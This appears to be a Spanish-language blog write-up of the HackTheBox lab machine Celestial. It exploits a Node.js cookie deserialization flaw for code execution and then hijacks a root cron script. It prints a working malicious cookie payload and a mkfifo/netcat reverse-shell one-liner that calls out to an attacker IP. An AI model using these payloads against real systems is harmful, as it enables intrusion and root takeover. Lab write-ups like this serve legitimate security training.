Saltar al contenido
Volver al Blog

writeups · 2 min de lectura

WriteUp - Celestial (HackTheBox)

Write-up de Celestial (HackTheBox). Máquina Linux de nivel bajo que explota una deserialización insegura de cookies en Node.js (CVE-2017-16137) para obtener RCE, luego escalada a root abusando de un cron job que ejecuta un script editable.

· Manuel López Pérez · writeups

Write-up de Celestial (HackTheBox). Máquina Linux de nivel bajo que explota una deserialización insegura de cookies en Node.js (CVE-2017-16137) para obtener RCE, luego escalada a root abusando de un cron job que ejecuta un script editable.

En este post haremos la máquina Celestial de HackTheBox.Es una maquina Linux de un nivel bajo Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -sC -sV 10.10.10.85

Tenemos un servicio http en el puerto 3000, vamos a revisarlo:

Vamos a interceptar la request con BurpSuite: Como veis, la Cookie Profile parece ser un Base 64, nos ayudaremos del Decoder de BurpSuite:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

Si modificamos el valor del campo ‘num’ por, por ejemplo, 4 y volvemos a encodear, vemos que la respuesta sera: Hey Dummy 4 + 4 is 44 En cambio si modficamos erróneamente la cookie, obtendremos algo mas de información:

Explotación

Busquemos vulnerabilidades sobre las cookies en node.js https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ Siguiendo la guía, podremos obtener RCE con este valor de la cookie:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\\n \\t require('child_process').exec('ping -c 10.10.14.16 /',function(error, stdout, stderr) { console.log(stdout) });\\n }()"}

Y con ayuda del Reverse Shell Cheat-Sheet podremos obtener reverse shell facilmente:

Post-Explotación

Como veis, el usuario con el que obtenemos shell forma parte de algunos grupos interesantes: Aprovechando que formamos parte del grupo adm, podremos leer los logs del sistema:

cat /var/log/syslog

En este fichero vemos que cada 5 minutos se ejecuta como root el fichero /home/sun/Documents/script.py El siguiente paso será editar dicho fichero con una reverse shell:

#!/usr/bin/env python
import os
import sys
try: os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 7777 >/tmp/f')
except: sys.exit()

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
WriteUp – Aragog (HackTheBox)

writeups · 3 min

WriteUp – Aragog (HackTheBox)

Write-up de Aragog (HackTheBox): escaneo inicial, explotación XXE para leer claves SSH, acceso como usuario, modificación de WordPress para robar credenciales de admin y escalada a root. Nivel intermedio con enfoque en XXE y post-explotación creativa.

· Pablo Plaza Martínez

writeups · 1 min

WriteUp - Valentine (HackTheBox)

Write-up de Valentine (HackTheBox): máquina Linux clásica que explota Heartbleed (CVE-2014-0160) para extraer clave privada RSA de Apache, y luego usa la clave para conectarse por SSH y escalar a root con un binario vulnerable.

· Pablo Plaza Martínez

WriteUp - Canape (HackTheBox)

writeups · 1 min

WriteUp - Canape (HackTheBox)

Write-up de Canape (HackTheBox). Máquina Linux intermedia que explota una deserialización insegura de pickle en Flask + CouchDB. Incluye RCE vía payload pickle, enumeración de CouchDB y escalada a root abusando de sudo pip install.

· Manuel López Pérez